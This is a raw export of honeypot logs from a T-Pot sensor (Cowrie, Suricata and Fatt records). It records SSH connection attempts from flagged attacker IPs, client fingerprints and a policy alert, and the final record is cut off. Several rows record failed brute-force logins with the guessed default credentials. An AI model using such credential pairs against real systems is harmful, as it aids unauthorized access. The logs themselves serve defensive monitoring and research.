27159	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:13:29.346913+03	2021-09-20 14:15:14.212646+03	{"_id": "4QbpAnwBvYTbRNuEMiSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b3f8040b5c86", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:13:29.346913Z", "@timestamp": "2021-09-20T11:13:29.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27160	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:28.804763+03	2021-09-20 14:15:14.213646+03	{"_id": "4gbpAnwBvYTbRNuEMiSr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:59536 (192.168.176.2:22) [session: 2bcdff4a8e3f]", "session": "2bcdff4a8e3f", "@version": "1", "protocol": "ssh", "src_port": 59536, "dest_port": 22, "timestamp": "2021-09-20T11:13:28.804763Z", "@timestamp": "2021-09-20T11:13:28.804Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27161	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:28.986018+03	2021-09-20 14:15:14.215645+03	{"_id": "4wbpAnwBvYTbRNuEMiSr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33870 (192.168.176.2:22) [session: af97bc5057da]", "session": "af97bc5057da", "@version": "1", "protocol": "ssh", "src_port": 33870, "dest_port": 22, "timestamp": "2021-09-20T11:13:28.986018Z", "@timestamp": "2021-09-20T11:13:28.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27162	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:13:29.344247+03	2021-09-20 14:15:14.216644+03	{"_id": "5AbpAnwBvYTbRNuEMiSr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48306 (192.168.176.2:22) [session: b3f8040b5c86]", "session": "b3f8040b5c86", "@version": "1", "protocol": "ssh", "src_port": 48306, "dest_port": 22, "timestamp": "2021-09-20T11:13:29.344247Z", "@timestamp": "2021-09-20T11:13:29.344Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27163	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:29.181436+03	2021-09-20 14:15:14.218645+03	{"_id": "8AbpAnwBvYTbRNuEMiSr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "da4d06f9f572", "@version": "1", "duration": 6.778717517852783, "timestamp": "2021-09-20T11:13:29.181436Z", "@timestamp": "2021-09-20T11:13:29.181Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27164	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:13:29.72616+03	2021-09-20 14:15:14.219645+03	{"_id": "8QbpAnwBvYTbRNuENCSu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "flow_id": 2004686401485516, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48306, "dest_port": 22, "timestamp": "2021-09-20T11:13:29.726160Z", "@timestamp": "2021-09-20T11:13:29.726Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27165	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:29.76021+03	2021-09-20 14:15:14.220644+03	{"_id": "8gbpAnwBvYTbRNuENSTd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33870, "timestamp": "2021-09-20T11:13:29.760210", "@timestamp": "2021-09-20T11:13:29.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27166	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:29.8444+03	2021-09-20 14:15:14.221644+03	{"_id": "9gbpAnwBvYTbRNuENiSR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "a47f1fcfc795", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:13:29.844400Z", "@timestamp": "2021-09-20T11:13:29.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27167	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:13:30.49056+03	2021-09-20 14:15:14.222644+03	{"_id": "-AbpAnwBvYTbRNuEOCSX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:13:28.965324+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 408}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2004686401485516, "payload": "AAAALAYeAAAAIJ5/vnB00ToaFe9k5s2x1SVW+JGyjE344aZN0fS4W3tIAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48306, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:13:30.490560Z", "@timestamp": "2021-09-20T11:13:30.490Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...,..... ...pt.:...d....%V....M...M...[{H......"}}	1	\N	\N	alert	known attacker	\N
27168	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:13:30.959272+03	2021-09-20 14:15:14.224644+03	{"_id": "-QbpAnwBvYTbRNuEOiR6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b3f8040b5c86", "@version": "1", "timestamp": "2021-09-20T11:13:30.959272Z", "@timestamp": "2021-09-20T11:13:30.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27169	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:32.364296+03	2021-09-20 14:15:14.225645+03	{"_id": "_QbpAnwBvYTbRNuEPSSu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 49458, "dest_port": 22, "timestamp": "2021-09-20T11:13:32.364296", "@timestamp": "2021-09-20T11:13:32.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27170	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:13:32.146494+03	2021-09-20 14:15:14.226646+03	{"_id": "AQbpAnwBvYTbRNuEPiVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.login.failed", "message": "login attempt [mtch/mtch] failed", "session": "b3f8040b5c86", "@version": "1", "password": "mtch", "username": "mtch", "timestamp": "2021-09-20T11:13:32.146494Z", "@timestamp": "2021-09-20T11:13:32.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27171	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:32.180493+03	2021-09-20 14:15:14.228647+03	{"_id": "BgbpAnwBvYTbRNuEPiVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "2bcdff4a8e3f", "@version": "1", "duration": 3.3732759952545166, "timestamp": "2021-09-20T11:13:32.180493Z", "@timestamp": "2021-09-20T11:13:32.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27172	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:32.35235+03	2021-09-20 14:15:14.230647+03	{"_id": "BwbpAnwBvYTbRNuEPiVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [yang/yang] failed", "session": "af97bc5057da", "@version": "1", "password": "yang", "username": "yang", "timestamp": "2021-09-20T11:13:32.352350Z", "@timestamp": "2021-09-20T11:13:32.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27173	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:32.365025+03	2021-09-20 14:15:14.231647+03	{"_id": "CAbpAnwBvYTbRNuEPiVk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fd0bc369f0d0", "@version": "1", "timestamp": "2021-09-20T11:13:32.365025Z", "@timestamp": "2021-09-20T11:13:32.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 